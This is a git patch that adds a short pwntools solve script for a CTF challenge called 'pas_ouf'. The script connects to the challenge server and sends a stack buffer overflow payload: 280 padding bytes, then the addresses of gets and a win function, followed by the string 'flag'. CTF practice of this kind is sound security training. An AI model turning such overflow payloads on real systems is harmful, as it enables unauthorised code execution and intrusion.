From 15453292924f4e3d7021bff18e15101d1ec7bb76 Mon Sep 17 00:00:00 2001 From: jc Date: Sun, 10 Nov 2024 21:00:11 +0300 Subject: [PATCH] first solve script --- 4ts_ctf_2024/pas_ouf/a.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 4ts_ctf_2024/pas_ouf/a.py diff --git a/4ts_ctf_2024/pas_ouf/a.py b/4ts_ctf_2024/pas_ouf/a.py new file mode 100644 index 0000000..9b4da57 --- /dev/null +++ b/4ts_ctf_2024/pas_ouf/a.py @@ -0,0 +1,19 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./pwn-pas-ouf", checksec=False) +# r = process() +r = process("openssl s_client -quiet -verify_quiet -connect main-5000-pwn-pas-ouf-70df26172a24b94f.ctf.4ts.fr:52525", shell=True) + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*280 +buf += p64(target.sym.gets) +buf += p64(target.sym.win) +s(buf) +s(b"flag") + +r.interactive() \ No newline at end of file